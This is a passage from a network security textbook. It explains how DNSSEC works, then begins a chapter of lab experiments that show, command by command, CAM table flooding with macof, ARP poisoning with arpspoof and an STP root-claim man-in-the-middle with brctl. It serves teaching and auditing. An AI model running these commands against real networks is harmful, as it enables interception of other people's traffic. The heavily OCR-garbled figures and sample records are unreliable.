tacks, such as cache poisoning and traffic diversion. Since the proper functionality
of the DNS is crucial to the Internet, security has to be added to the DNS to pro-
vide a more secure naming system.

To increase security within the DNS, the Internet Engineering Task Force
(IETF) added a set of security extensions to the existing DNS protocol. The set of

extensions is collectively known as DNS Security Extensions (DNSSEC).
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The objectives of DNSSEC are to provide origin authentication and data in-
tegrity, which is achieved by using digital signature. That is, one can verify that
the received data came from the correct name server, and the data has not been
modified. It can detect most information integrity related attacks, such as cache
poisoning, and zone transfer.

However, DNSSEC is not to provide confidentiality to the DNS. The reason
is that, since name service is considered as public service and DNS data is consid-
ered as public data, access control or any confidentiality should not be imposed.
The most important thing is to ensure that the requesting client receives the right
response from the right name server. Since confidentiality is not provided,
DNSSEC does not protect against server-integrity or service-availability related
attacks.

To gain widespread acceptance, DNSSEC provide backwards compatibility
with the existing DNS infrastructure. It is transparent to the user population and
downstream administrators if they are not DNSSEC aware. Similarly, the client
side software that does not implement the extensions can still correctly process the
response from a DNSSEC server.

Nevertheless, DNSSEC has not been widely implemented or deployed. It
has a number of limitations. First, it requires better knowledge and administration
skills to maintain a DNSSEC server. Second, performance issues and operational
overhead are of the major concerns. These make small companies prefer the con-
ventional DNS to DNSSEC. On the other hand, DNSSEC does not prevent at-
tacks. It is only able to detect attacks — to detect whether the responses are from

the right servers or whether the responses have been changed or not.

4.3.3.2 Public-key Cryptography in DNSSEC

In addition to secure the routing messages as mentioned in Chapter 3, public-key
cryptography is used in DNSSEC to secure the zone data. As mentioned before, in

a public-key cryptosystem, the public key is made for public, while the private key
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is kept secret. A sender encrypts its message by using its private key, and sends
the encrypted message (a.k.a cipher text) to the recipient. Having received the ci-
pher, the recipient decrypts it using the sender’s public key. If the decryption is
successful, the recipient will be confident that the message has not been modified
in the transmission, or the sender is who it claims to be.

To make the encryption process efficient, in DNSSEC, a name server first
uses a one-way hash function to map its variable-length zone data into a
fixed-length hash value. The hash value is a cryptographic checksum of the data.
After that, the server encrypts the hash value (instead of the zone data) using its
private key. This encrypted hash value is called digital signature. The server will
send both the zone data in plain text and the digital signature to its recipient.

The recipient will first decrypt the digital signature using the server’s public
key to obtain the hash value. It will then run the same hash function to map the
received zone data to a hash value. If this just calculated hash value is the same as
the one from the server, the zone data is will be verified. Fig. 4.13 shows the
signing and verifying process.

Please note that, instead of signing individual resource records, DNSSEC
signs a group of resource records having the same owner, class and type. The
group is called RRset. For example, all address records (type “A”) in a zone file
will be signed together, whereas all name server records (type “NS”) in a zone file

will be signed together.
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Fig. 4.13. Process of signing and verifying a message.
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4.3.3.3 New Resource Record (RR) Types in DNSSEC

DNSSEC adds four new resource records to provide the security functions, as
shown below. The DNSKEY, RRSIG and NSEC resource records are automati-
cally generated by the name server during the zone signing process. More atten-
tion should be placed on the DS resource record. It is optional for DNSSEC and it
will not be automatically generated. To generate the DS record, the name server
has to first obtain its child’s public key. The DS record is particularly important
for name servers if they want to build the trust of each other, which is called chain

of trust and will be discussed later.

DNSKEY  (DNS Public Key) To store the actual key string

about the zone’s public key

RRSIG (Resource Record Sig- To store the digital signatures

nature) of resource record sets
NSEC (Next Secure) To store the next domain name
DS (Delegation Signer) To store the signature of the

public key of the child zone

DNSKEY
DNSSEC uses public key cryptography to sign and authenticate DNS data. The
zone’s private key is kept secretly and safely, whereas the zone’s public key is

made public. The public key is stored in the DNSSEC record, so that one can learn



168 Network Infrastructure Security

a zone’s public key through normal DNS resolution. The following shows an ex-

ample of DNSKEY RR for example.com.

example.com. 86400 IN DNSKEY 256 3 5 (CDGGJUdsfsggYUYnv015UG2DeIQ3
454SDFDvsCb/0Pfdkw44bfgfc8no
dSfsdfioi+6hjhJHIVMEZz]j31GajI
bWgTgXQpftfezgiaogmMf6ZEzODz
74M9vJIVM7ffgHJe4KHI7za6dfdEz
7Mgv/TpPdfghh98NKifjhfsppnlU
baTxyw==)

The first four text strings specify the Owner Name, TTL, Class, and RR type

fields. The next three numerical values specify the values for the Flag, Protocol,

and Algorithm fields. The meaning of these field values can be found in RFC

4034 [4]. The remaining text is a Base64 encoding of the pubic key.

RRSIG

The DNSSEC uses the private key to encrypt the hash values of zone data and

generate digital signatures. A RRSIG resource record is used to store a digital

signature. Each record set (RRset) will has a RRSIG record. The following shows

an example of RRSIG record that stores the signature for the address record of

hostA.example.com.

hostA.example.com. 86400 IN RRSIG A 5 3 86400 20060322173134 (
20060220173134 2777 example.com.
Qpft56WNGV+1QiTpPd8fGMk4h-661i-p87WTr
PYGd3pdv07180ddsUKGMz5t-£6V5H3D5D5+0
793wds5Pd0ffu=dshh3D3t36IMz0z8WRz10t
25zsw8PdfK8s0R/P6wQf-t676JQ7s-NrL7kG
J565fdwF5n+p=dzTPdfdsf=S5po= )

The first four text strings specify the Owner Name, TTL, Class, and RR Type

fields. The following values of “A”, “5”, “3”, “86400”, and “20060322173134”
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specify the values of Type Covered, Algorithm, Labels, Original TTL, and Signa-
ture Expiration Time fields, respectively. Then, the following “20060220173134”,
“2777”, and “example.com.” specify the values of Inception Time, Key Tag, and
Signer’s Name fields. The meaning of these field values can be found in RFC

4034 [4]. The remaining text is a Based64 encoding of the signature.

NSEC

During the zone signing process, all the domain names in the zone would be
sorted from the rightmost labels to the leftmost labels in order. After that, NSEC
records will be automatically added. Each NSEC record indicates which its next
domain name is. The last NSEC record would point to the first NEXT record.
Therefore, by using the NSEC resource records, the DNSSEC can authenticate the

non-existence of domain name in the zone.

DS
A DS record in a server zone file stores its child zone’s public key. For example,
as “com” is the parent of “example.com”, in the zone file of “com”, there is a DS
resource record storing the hash value of the public key of “example.com”. The
purpose of DS resource record is to build the chain of trust, as will be discussed
later.

It is helpful to understand the function of the record types by comparing the
zone file using DNSSEC with the basic one (without using DNSSEC). Fig. 4.14
shows the example of the files of the “com” zone, assuming “com” has only one
child zone, “example.com”. In the figure, the notation Ep,; .,m[] means encryption
using the private key of the “com” server, and the notation Pub,,, refers to the

public key of the “com” server.
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.com zone data (without DNSSEC)

com. IN SOA ns.com. root.com. (
19212548 ; serial number
20; refreash time
20; retry time
364000; expiration time
86400; TTL
)

com IN NS ns.com

ns.com INA 20.20.20.1

hostA IN A 20.20.20.2

.com zone data (with DNSSEC)

com IN SOA ns.com. root.com.(
19212548 ; serial number
20; refreash time

20; retry time

364000, expiration time

86400; TTL

)
IN RRSIG SOA (..sss...) {...555...)= Eed_com [ hash(the above SOA RR) ]
IN DNSKEY (Pubcom) —T>(Pub.m) = the content of Pubm

IN RRSIG DNSKEY (.ppp...)X--PPP...)= Eej com[ hash(the above DNSKEY RR} ]

com IN NS ns.com

IN RRSIG NS (..ccc...) ~+=3{...CCC...)= Epyi com[ hash(the above NS RR) ]
ns.com IN A 20.20.20.1

IN RRSIG A (..nnn...) —>(...nnn...)= Epyi com[ hash(the above A RR) ]
hostA IN A 20.20.20.2

IN RRSIG A (...aaa...) ‘—)(...aaa...)= Epri com[ hash(the above A RR) ]

INDS (..ddd...) =t={...ddd...)= hash(Pubexampie com)

IN RRSIG DS (...rrr...) —(...rr...) = Eeri wm[ hash(the above DS RR) ]

Fig. 4.14. The basic versus signed zone files.
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4.3.3.4 Data Integrity

As mentioned earlier, DNSSEC makes use of digital signature technology to sign
a set of records, called RRSet, in a zone. A name server first computes a hash on
the RRSet. The hash is a cryptographic checksum of the data contained in the
RRSet. The server then encrypts the hash using its private key. After that, the
server stores the encrypted hash of the RRSet in the RRSIG record.

The recipient of the RRSet can then check the data integrity based on the
digital signature (in the RRSIG record) and the RRSet just received. To do that,

the recipient performs the following steps:

1. Decrypts the digital signature using the zone’s public key to obtain the original
hash of the data.

2. Uses the same hash function (cryptographic checksum algorithm) to compute
the hash value of the RRSet just received.

3. Compares this just computed hash value against the one obtained in step 1. If

these values match, the data integrity will be proved.

4.3.3.5 Chain of Trust

Chain of trust (also called authentication chain) is an alternating sequence of
DNSKEY and DS RRSets. The purpose of it is to perform origin authentication.
Chain of trust requires a name server to verify the public key of its lower-level
server through the use of Delegation Signer (DS) resource record. First, a resolver
is configured to trust at least one public key (usually the root’s one). Then, it can
use this verified public key to verify a DS RR and the public key (DNSKEY RR)
to which the DS RR refers. After that, the resolver can use the newly verified pub-
lic key to verify another DS RR and the public key to which this DS RR refers.
This process goes on until the chain finally ends with a public key whose corre-

sponding private key signs the queried DNS data.
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Example of the use of the DS and DNSKEY records
Fig. 4.15 shows an example of building the chain of trust between “example.com”

and “com” servers. To do that:

1. The name server of example.com first places its public key, Pube,ampie.com> in the
DNSKEY record of its zone file.

2. It then sends the hash of its public key to its parent name server (i.e., .com
server) in a secure way. The way is an operational matter (could be done via
email) and not covered in the DNSSEC specification.

3. Upon receiving the key, the parent generates a DS record to store the key in its
own zone file.

4. The parent also needs to sign the DS record using its own private key and store

the result in the RRSIG record.

Example of authenticating the origin of a server:
Fig. 4.15 shows that when one would like to authenticate the origin of exam-

ple.com:

1. It first uses Pubexampiecom to decrypt the RRSIG DNSKEY RR (shown in the
example.com’s zone file) to obtain the hash of Pube,ampie.com-

2. It then checks this just decrypted hash against the one shown in the DS record
(stored in com’s zone file). If these hash values match, the public key, Pub, .
ple.com» Will be authenticated and trusted. In other words, it trusts its copy of Pu-
Dexampie.com has not been modified and this key is from the real name server of

example.com.
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.com zone file

DS (..ddd...) {...ddd...)= [ hash(Pubeysmpe.com) |

W..nr...; (1) = Epn coml (-..ddd...) ]

example.com zone file

DNSKEY (Pubexampie.com) | (PUbexampie com) =

the string of the public key of example.com
RRSIG DNSKEY

(\.@ee...)= Epi examgia_com [ Nash(Pubexampie com) ]

Decryption using
Pubexample.com

haSh(PUbexample.com)

Fig. 4.15. Origin authentication.

Example of address resolution with chain of trust:

To illustrate the operations of authentication chain and the address resolution in
DNSSEC, Fig. 4.16 shows an example. In the example, a local DNS server is go-
ing to resolve the address of hostA.example.com. In this case, the authentication
includes the following steps, where “==" means “is equal to”, and “->" means “it

implies that”.
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1. The Pub,,,, is always trusted because it is preconfigured in all the DNS servers.
Pub,,,, is used to decrypt (...r3...) to obtain hash(Pub,,,,).

2. If (the just decrypted hash(Pub.,,)==the one shown in the DS record (i.e.,
S
-> the hash(Pub.,,,,) has integrity.

3. The Pub.,, is used to decrypt (...cl...) to obtain hash(Pub,,,,).

4. If (the just decrypted hash(Pub.,,)==the one shown in the root’s DS record
(i.e.,...r2...)
-> Pub,,,, 1s authenticated and trusted.

5. Since  Pub.,, is trusted, it is used to decrypt (...c3...) to obtain
hash(Puberampre.com)-

6. If (the just decrypted hash(Pub.ampic.on)==the one shown in the DS record (i.e.,
...c2..)
-> the hash(Pubeyampie.com) has integrity.

7. The Pubyampie is used to decrypt (...el...) to obtain hash(Pubeampie.com)-

8. If (the just decrypted hash(Pub..ampie.con)=the one shown in the com’s DS re-
cord (i.e., ...c2...)
-> Pubeyampie com 15 authenticated and trusted.

9. Since Pubeyampie.com 18 trusted, it is used to decrypt (...e2...) to obtain a hash
value.

10.If (the just decrypted hash value==the hash value of the correspond address
record)
-> the address record has integrity. It means that it is safe to trust the IP address

of hostA.example.com is 30.30.30.100.
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root's zone file:

IN DNSKEY (Pub,..)

RRSIG IN INSKEY (...r1...)

DS 2.

RRSIG DS (...r3...)

— b (Pubpe)= the actual string of Pubyee

— (..r1.)= Epriicnm[ hash(Pubear) ]

— {,_r?...) = hash(Pmen)

—T (...r3...) = Epg roxt [ hash(Pubcorm)]

com's zone file: 6

com IN DNSKEY (Fub

— (Pubcam) = the actual string of Pubeom

RRSIG IN PNSKEY (...c1...

P (...c1...) = Ep_com [ hash(Pubgam) ]

— {...c2...) = hash(Pubgysampie. com)

" (...c3...) = Epni_com [ hash(Pubeaayie.com) |

DS .62..) ‘\

RRSIG DS (...c3...)
example.com’ s zone 3
file: C

N

example IN DNSKEY (Pubesampie

) —- (PUb&xmmb.comJ =

RRSIG IN DYSKEY (...e1...)

hostA.exam

RRSIG IN A (...e2...)

.com. Ihygg 30.30.30.100

the actual string of Pubeyampie com

— (...67...)=
Epn_exampie_com [ hash(Pubeyampie.com) |

(...e2..)=
—®  Epi_example_com [ hash(the above A record) |

Fig. 4.16. Example of authentication chain showing the resolution of hostA.example.com.
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4.3.3.6 Key Signing Key (KSK) and Zone Signing Key (ZSK)

The original DNSSEC only introduces one key pair. To prevent the key
from being cracked, the key should be changed regularly. However, rolling over to
a new key is not as easy as just generating a new key pair and replacing the old
ones with it. Whenever a key is changed, its parent has to be notified of the new
key. Then the parent has to generate a new DS record and sign it again.

To reduce the administrative burden involved, two key pairs have been in-
troduced: Key Signing Key (KSK) and Zone Signing Key (ZSK) pairs. Each key
pair has its own public key and private key, totally four keys in one DNS server.
They are named KSK-public, KSK-private, ZSK-public, and ZSK-private.

The KSK pair is used for authentication purpose: the KSK-public would be
sent to the parent DNS server for generating the DS record to form the chain of
trust, whereas the KSK-private would be used to sign its own DNSKEY record
which stores the hash value of the KSK-public. On the other hand, the ZSK pair is
used to sign all other data in the zone, including the DS record in the zone file.
Since the concept of how DNSSEC performs origin authentication and data integ-
rity has been shown using one key pair. The details of operations of these two key

pairs will not be discussed here. Interested readers please refer to [5].

4.3.3.7 What Problems Does and Doesn’t DNSSEC Solve

Cache Poisoning and Compromise of Zone Files
Since DNSSEC provides authentication and integrity to the DNS, it solves most of
the security problems related to DNS Information Integrity.

Cache poisoning can be mitigated with the data origin authentication of

DNSSEC. Attackers do not have a zone’s private key, and hence not be able to
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generate malicious replies with correct signatures. Therefore, name servers will
not cache fake information.

The compromise of the DNS server’s zone files can also be mitigated with
DNSSEC. Since the RRSIG records are encrypted using a zone’s private key and
the key is kept off-line, even thought an attacker is able to get the command access
of a server, it is not be able to generate new RRSIG records. Therefore, the at-

tacker cannot include any fake information into the zone file.

Zone Transfer, Dynamic Update, and DoS

However, for zone transfer and dynamic update vulnerabilities, DNSSEC does not
provide any security to the transaction between authoritative servers and dynamic
update. Instead, Transaction Signature (TSIG) (see RFC 2845 [6]) is introduced to
support these vulnerabilities. The mechanism of TSIG is based on a shared secret
key. Two name servers (e.g., master and slave) would have a shared secret key.
The key is used to sign the content of each DNS packet. The signature will then be
used for both origin authentication and data integrity. Note that TSIG is not in-
cluded in DNSSEC. On the other hand, since DNSSEC is not designed to provide
confidentiality and access control lists, it provides no protection against denial of

service attacks.

4.3.3.8 Limitations of DNSSEC

Since DNSSEC uses delegation hierarchy for the public key authentication, this
requires all name servers in the authentication path (from the root to the queried
servers) must deploy DNSSEC. Otherwise, the chain of trust will be broken. This
requirement is hardly fulfilled in the current Internet. On the other hand, it is also

worth noting that DNSSEC does not prevent attacks, it only detects.
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5. Experiments for Illustrating Network Infrastructure Attacks

Some of the attacks mentioned in the previous chapters are implemented in this
chapter, serving as a proof-of-concept purpose. The objective is to demonstrate the
vulnerability of the network infrastructure by using some publicly available attack

tools.

5.1 Purpose of the Chapter

Network security is never an easy subject. New attacking methods or tools
will appear whenever we claim to have a secured network design. The best way to
protect our networks, therefore, is to build up network expertise that can cope with
all possible new attacks to our networks. In the process of building up our exper-
tise, carrying out attacks as part of testing and learning is essential, which is also
the reason why this chapter is written.

We separate the experiments from the text in Chapters 2, 3 and 4 because
we would like the chapters to focus on the principle and operation of the attacks,
whereas this chapter demonstrates how to achieve the attacks in practice. The ex-
periments presented in this chapter serve as a proof-of-concept purpose, and reveal
the vulnerabilities of the network infrastructure.

Some of the attacks mentioned in the previous chapters are implemented in
this chapter. When selecting the attacks, we favor the ones that are simple to set
up and able to convey some messages about security. See Table 5.1 for a summary
of them.

The honest intentions of the experiments are to study the vulnerabilities of
network protocols so as to audit our own networks, and to propose corresponding

countermeasures. In the experiments, we are only demonstrating the basic attack
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techniques. We believe that the experiments are educational though some of them
can be extended to aim at a different or larger scope.

For the experiments in this chapter, Cisco Catalyst 2950 Series Switches and
Cisco 2800 Series Routers are used. In most cases, Linux is used for the operating
system of the attacking machine because it provides better controllability and
there are many open-source attacking tools available for that platform.

Therefore, to finish the experiments discussed in this chapter, we assume
readers to have some experience with Linux and Cisco network devices. If not,
there are plenty of other resources on the web for reference. On the other hand, we
are only giving the basic idea of how to use the attacking tools. More advanced

options can be seen in their corresponding help pages and documentation.

Warning:

Please be warned that the assessment of the attacking tools and the verification of
the attacking methods introduced in this chapter should be done in the way that is
appropriate for your circumstances. A small and separated testing network should

be used in case of any potential disruption of the production environment.

5.1.1 Installing software in Linux-compatible systems

In this chapter, a number of tools are required to finish the attack experiments.
They are mostly open source and freely available under the GNU General Public
License (GPL) (http://www.gnu.org/copyleft/gpl.html). Therefore, it is not diffi-

cult to modify the tools to suit one’s particular need.
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Table 5.1. Summary of the experiments.
Experiment Message conveyed Attack tool
5.2.1 CAM Table Overflow A switch can behave like a hub, allowing ~ macof
sniffing activities.
5.2.2 ARP Poisoning The information maintained in an operat-  arpspoof
ing system can be poisoned.
5.2.3 STP Attack — MITM A general PC, by running a software bretl
switch, can join the Spanning Tree Proto-
col (STP) topology.
5.2.4 STP Attack — DoS A general PC, by injecting STP frames, yesinia
can alter the STP topology.
5.3.1 RIP Attack — DoS by Mali- A general PC can become a rogue router quagga
cious Route Insertion by running routing software can join the
routing domain.
5.3.2 Cracking Routing Updates  Even though strong MD5 authentication Cain
with MDS5 Hash for routing update is used, it still suffers
from being cracked.
5.3.3 OSPF Attack — Routing When a legitimate router is compromised, NA

Loop by a Compromised Router

a small change could cause a big network

problem.
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The downloaded source code packages are commonly compressed and in
the tar.gz extension. In Linux, the installation procedure for software that comes in

tar.gz package is mostly like this:

[notroot]$ tar xvzf package.tar.gz
[notroot]$ cd package

[notroot]$ ./configure

[notroot] $ make

[root]# make install

The above commands are to unpack, configure, compile, and install the software
package.

Another way to install software in Linux is the use of a package manager.
Modern Linux distributions commonly come with a graphical package manage-
ment program. With this kind of management program, installing, removing and
upgrading software packages can be done by just a few mouse clicks. For exam-
ple, the manger included in the Ubuntu distribution (http://www.ubuntu.com/) is
called Synaptic Package Manager. Its screenshot is shown in Fig. 5.1. As can be
seen, the main window of the manager lists available packages with information
such as name, installed version, latest version, and the package description.

What makes the installation process elegant with a package manager is that,
it will notify the user about dependencies (i.e., the necessary libraries/packages) of
the targeted package. For example, when you select the ettercap package to be in-
stalled, it will notify that the additional packages: “ettercap-common” and “lib-

netl”, are required in order to proceed.
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Base System (restri [ ettercap 1:0.7.3-1.2ubuntu? Multinurnose snifferfinterce ||
Base System (unive - = =
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Multipurpose snifferfinterce
Communication (my X

( Ettercap supports active and passiy
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(even ciphered ones) and includes 1
Cross Platform [~] analysis

Sections Data injection in an established con & Properties

Status or drop a packet) on the fly is also g

synchronized.
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Custom Filters Many sniffing modes were implemented to give you a powerful and complete
sniffing suite. It's possible to sniff in four modes: IP Based, MAC Based,

Search Results ARP Based (full-duplex) and PublicARP Based (half-duplex).

e

€1

23132 packages listed, 1126 installed, 0 broken. 0 to installjupgrade, 0 to remove

Fig. 5.1. Synaptic Package Manager in Ubuntu.

5.1.2 The Wireshark Sniffer

many experiments shown in this chapter, Wireshark

—
=

(http://www.wireshark.org/) is used to verify the attack results. Wireshark is a
network analyzer, also known as a network sniffer or a protocol analyzer. The
main function is to capture packets going over a network and allow users to ex-
amine the packet content by displaying them in an organized way. The screenshot
of it is shown in Fig. 5.2. We can use it to monitor the attack in progress and ver-
ify the attack results, i.e., to check whether the attacker is able to intercept the
traffic between victims, or to verify if the victim has received the forge packets

from the attacker.
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Wireshark is easy to use. To start monitoring, you can choose Start in the
Capture menu (you may need to specific the interface first). Once it is in capture
mode, a window pops up and displays protocol statistics for the packets being
captured. On the window, there is a Stop button that you can use to stop capturing.
Once the capture has stopped, the captured packets (represented by synopsis lines)
are displayed in the upper section of the main window. When you select a packet,
its detailed content will be shown in the protocol tree (which is located in the mid-
dle of the main window). The tree is an expandable hierarchical list allowing you
to expand and collapse the fields in different layer in the packet. Fig. 5.2 shows an
example that the data link layer of a HTTP is expanded whereas the others layers
are collapsed.

This kind of analyzers was usually expensive in the past. Since Wireshark is
free and can be publicly downloaded, it soon becomes one of the most popular
packet analyzers today. Wireshark currently runs on most UNIX platforms and
various Windows platforms. Besides source code, binary packages are also

available. Different people can use Wireshark to perform various kinds of tasks:

e Network administrators use it to troubleshoot network problems.
e Developers use it to debug protocol implementations.

e Students use it to learn network protocol internals.

e Hackers use it to capture user names and passwords.

e And, we use it verify our experiments in the following sections.

Although Wireshark is easy to use, in practice, attackers usually prefer com-
mand-based sniffers such as tcpdump (http://www.tcpdump.org/). It is because
command-based tools are much light-weight and flexible for working with other
shell commands. Nonetheless, this kind of tools cannot be used without checking

the manual for the usage of various options and parameters.
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Fle Edit View Go Capture Analyze Statistics Help
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Fig. 5.2. Screenshot of Wireshark.

5.2 Attack Experiments

5.2.1 CAM Table Overflow Using macof

Overview

Fig. 5.3 shows the testing environment where a switch connects to three PCs with
the middle one being the hacker’s computer. This computer was loaded with the
attacking tool, macof. We are going to run an experiment showing that, after run-
ning macof, the attacker (192.168.1.2) can capture the traffic between host A
(192.168.1.1) and host B (192.168.1.3) in a switched network.
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Many new
MAC
x addresses

Host A
192.168.1.1

Host B
192.168.1.3

Attacker
192.168.1.2
Running Macof

Fig. 5.3. Testing environment for CAM table overflow attack.

Attack Using macof
macof is a tool that can flood a switched LAN with random MAC addresses. The
reason of flooding the network is to make the CAM table of the switch become
full. When the table is full, the switch will operate like a hub and forward frames
out to all its ports (not only the destination port). By doing this, a hacking com-
puter can easily capture frames that are not addressed to it. The principle of this
attack is referred to Sect. 2.2.1.

macof comes with the dsniff package
(http://www.monkey.org/~dugsong/dsniff/) and can be installed by Linux package

manager. After the installation of dsniff, the attacker can run macof by typing:

macof -i interface

When macof is running, new MAC addresses are randomly generated and sent out

to the network interface. Fig. 5.4 shows the attacker’s screen.
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root@attacker:/# macof -i etho

b4:£9:9:1e:2d:aa 65:c2:73:6c:ca:9f 0.0.0.0.50218 > 0.0.0.0.13997: 5
358231730:358231730(0) win 512

95:50:41:40:72:6c le:b:43:50:98:7d 0.0.0.0.50035 > 0.0.0.0.7677: S
279813648:279813648(0) win 512

22:d:bc:4:7f:2e dl:3a:73:4f:91:62 0.0.0.0.7976 > 0.0.0.0.22498: S
948575882:948575882(0) win 512

59:80:b8:77:0:1e df:8e:87:c:bl:£f3 0.0.0.0.1131 > 0.0.0.0.14963: S
989930540:989930540(0) win 512
b6:41:£5:19:cc:b7 2a:lb:9c:l:df:ed 0.0.0.0.62276 >

Fig. 5.4. Attacker is running macof which is flooding MAC addresses.

Result and Verification

By just a few seconds, macof is able to fully occupy the CAM table of the switch.
To verify this, we can check the free space of the table in the switch, by logging in
the switch and using the “show mac-address-table count” command. As can be
seen in Fig. 5.5, there is no more MAC address free space as all entries (8186) of
the table have been occupied.

At this moment, the switch is acting like a hub (as its CAM table is over-
flowed). Thus, the hacker (192.168.1.1) is able to capture the frames between Host
A (192.168.1.1) and Host B (192.168.1.3). Fig. 5.6 shows the Wireshark screen-
shot (note the highlighted row).

In some switch implementations, when the CAM table is full, they will not
accept further incoming MAC addresses. Therefore, the table will not be over-
flowed but just be full. In this case, the switches are still able to forward the
frames to the correct ports as there are still valid entries in the CAM table. There-
fore, the man-in-the-middle attack will only succeed when the valid entries for the
MAC addresses of the victims are time-out. To do this experiment smoothly, just
before running macof, we clear the CAM table of the switch (by using the com-

mand clear mac-address-table).
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Switch#show mac-address-table count

Mac Entries for Vlan 1:

Dynamic Address Count :
Static Address Count : 0
Total Mac Addresses :

Total Mac Address Space Available: 0

Switch#

Fig. 5.5. The CAM table is full.

——
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Fig. 5.6. The hacker’s machine (192.168.1.2) can capture the frames sent from 192.168.1.3 to

192.168.1.1 in a switched network.
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5.2.2 ARP Poisoning Using arpspoof

Overview
The goal of this experiment is to poison the ARP caches of two hosts (victims) so
that the attacker can receive all traffic going between them. The details of ARP
poisoning can be seen in Sect. 2.2.2. Fig. 5.7 shows the testing environment where
a switch connects to three PCs. The attacker (192.168.1.2) is running Linux with
the attacking tool (arpspoof) installed, whereas the rest are victims running Win-
dows XP.

Before attacking, Host A and Host B contain the following mapping in its
ARP table:

In Host A’s ARP cache: 192.168.1.3 -> 00-15-60-52-45-8c

In Host B’s ARP cache: 192.168.1.1 -> 00-15-60-52-dd-70

lost B
192.168,1.3

00-15-60-52-45-8¢

192.168.1.1
00-15-60-52-dd-70

Attacker
192.168.1.2
00-16-d3-c8-c4-2a
Running arpspoof

Fig. 5.7. Testing environment for ARP poisoning attack.
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Attack Using arpspoof

Before poisoning the victims’ ARP caches, the attacker has to enable the traffic
redirection function. It is because, to perform Man-In-The-Middle attack, the at-
tacker has to redirect the traffic to the correct destination; otherwise, denial of ser-
vice will be caused which is not the goal. The redirection can be easily achieved
with the IP forwarding function provided in Linux. To enable the function, the

following command can be used:

[root@attacker]# echo 1 > /proc/sys/net/ipv4/ip_ forward

The next step is to poison the victims’ ARP caches so that the caches contain the
following forged entries:

In Host A’s ARP cache: IP-B -> MAC-Attacker

In Host B’s ARP cache: IP-A-> MAC-Attacker
To achieve that, the arpspoof program can be used. The program also comes with
the dsniff package (http://www.monkey.org/~dugsong/dsniff/) and can be installed

by Linux package manager. The major advantage of arpspoof is its simple usage:

arpspoof [-i interface] [-t target] host
The —i option specifies the interface to use
The —t option specifies a particular host to ARP poison

The host option specifies the host you want to intercept packets for

In our case, the following commands are issued in the attacker’s machine to ARP
poison:
root@attacker:/# arpspoof -t 192.168.1.1 192.168.1.3 >/dev/null

root@attacker: /# arpspoof -t 192.168.1.3 192.168.1.1 >/dev/null
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The first arpspoof command will make the attacker keep sending to Host A
(192.168.1.1) the forged ARP replies with the wrong mapping of IP-B ->
MAC-Attacker (i.e., 192.168.1.3->00-16-d3-c8-c4-2a). The second command will
keep sending to Host B (192.168.1.3) with the wrong mapping of IP-A->
MAC-Attacker.

These two arpspoof processes will keep sending the forged ARP replies un-
til they are terminated. The repetition of replies is to make the victim’s ARP table
keep containing the wrong mapping. When it is ready to stop spoofing, the fol-

lowing command can be used to kill the two instances of arpspoof started above.

root@attacker:/# killall arpspoof

Result and Verification

Now, the attacker is the “man” in the middle in the path of Host A and Host B but
they don’t know that (because there is no connection problem between Host A and
Host B). To verify this result, we ping Host B from Host A and run Wireshark in
the attacker’s machine. Fig. 5.8a. shows the screenshot of Wireshark. As can be
seen, the attacker can intercept the ping packets (ICMP) between Host A and Host
B. If we check the ARP tables of Host A and Host B, as shown in Fig. 5.8b and c,
we can see the forged ARP mappings.

5.2.3 STP Attack -- MITM by Root Claim Using brctl

Overview

Suppose that the attacker engages a multi-homed host which is connecting two
switches. By sending appropriate ridge Protocol Data Units (BPDUs), the attacker
can attain the role of root in the switch topology. As a result, existing link between
switches will be blocked and all inter-segment traffic will be directed through the

attacker’s machine, making a man-in-the-middle attack. Fig. 5.9 illustrates this at-
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tack. The details of BPDU and Spanning Tree Protocol (STP) are discussed in

Sect. 2.2.3.
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a. The attack can sniff the traffic between Host A and Host B.

C:\>arp -a

Interface: 192.168.1.1 0x2

Internet Address Physical Address Type
192.168.1.3 00-16-d3-c8-c4-2a dynamic
b. The ARP table of Host A contains the forged mapping
C:\>arp -a
Interface: 192.168.1.3 --- 0x2
Internet Address Physical Address Type
192.168.1.1 00-16-d3-c8-c4-2a dynamic

c. The ARP table of Host B contains the forged mapping

Fig. 5.8. Result of a ARP spoofing attack.
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The Linux Ethernet Bridging project develops the BRIDGE-UTILS module
that implements a subset of the ANSI/IEEE 802.1d standard. After building and
installing the package, Linux machines can act as Ethernet bridges. These Linux
bridges support most of the switch functions including the Spanning Tree Protocol
(STP) operations. Because of this, these bridges can be made use to perform STP

attacks. The Linux bridge can be controlled through a command called brct1.

Blocked after the
attacker’ s root claim

A k crver
ttacker 192.16%.1.4
192.168.1.1 493 168.1.2 192.168.1.3

Running Linux bridge

Chent A

Fig. 5.9. Testing environment for spanning tree protocol attack.

Becoming the root
We are going to demonstrate how a Linux bridge can be used to change the exist-
ing STP topology of a network, as shown in Fig. 5.9. The steps to attack are

shown below, and the screenshots of the steps are shown in Fig. 5.10.

Step 1. Configure the Linux bridge.
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Step 2. Verify the setting by using show and showmacs commands.
Step 3. Turn on STP and check STP status and setting.

Step 4. Increase the Bridge Root priority.

Step 5. Now, the bridge becomes the new root.

Step 6. Verify the results by checking on the switch.

Among the steps, Step 4 is the key step, which increases the Bridge Root priority
(by using a lower numerical priority number, i.e., 12 is used in the example,
whereas the default priority is 32768 for Cisco switch). It forces a Spanning-Tree
Protocol recalculation to form a new topology. As the bridge has a higher priority,
it will be elected to be the root. The principle of root selection in STP can be seen
in Sect. 2.2.3. Step 6 verifies the result by checking on the switch for the STP to-

pology information.

Result: Intercepting traffic

As the non-existing switch (the attacker’s Linux bridge) attained the role of root in
the spanning tree, the link between Switch A and Switch B is blocked (to avoid
loop). Therefore, all traffics between these two segments have to go through the
attacker’s machine, making a MITM attack. We have been verified this by suc-
cessfully capturing the traffic between Client A and Server in the attacker’s ma-

chine, as shown in Fig. 5.11.

root@attacker:/# brctl addbr hackerbridge
root@attacker:/# bretl addif hackerbridge ethO
root@attacker:/# brectl addif hackerbridge ethl

a. Step 1. Add bridge name and assign interfaces to the bridge.
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root@attacker:/# brectl show

bridge name bridge id STP enabled interfaces

hackerbridge 8000.0000215c0b22 no eth0 ethl

root@attacker:/# brctl showmacs hackerbridge

port no mac addr is local? ageing timer
2 00:00:21:5c:0b:22 yes 0.00
1 00:16:d3:cB:cd:2a yes 0.00

b. Step 2. Verify the setting by using show and showmacs commands.

root@attacker:/# bretl stp hackerbridge on

root@attacker:/# brectl showstp hackerbridge

hackerbridge

bridge id 8000.0000215c0b22

designated root 8000.0000215¢c0b22

root port 0 path cost 0
max age 20.00 bridge max age 20.00
hello time 2.00 bridge hello time 2.00
forward delay 15.00 bridge forward delay 15.00
ageing time 300.01

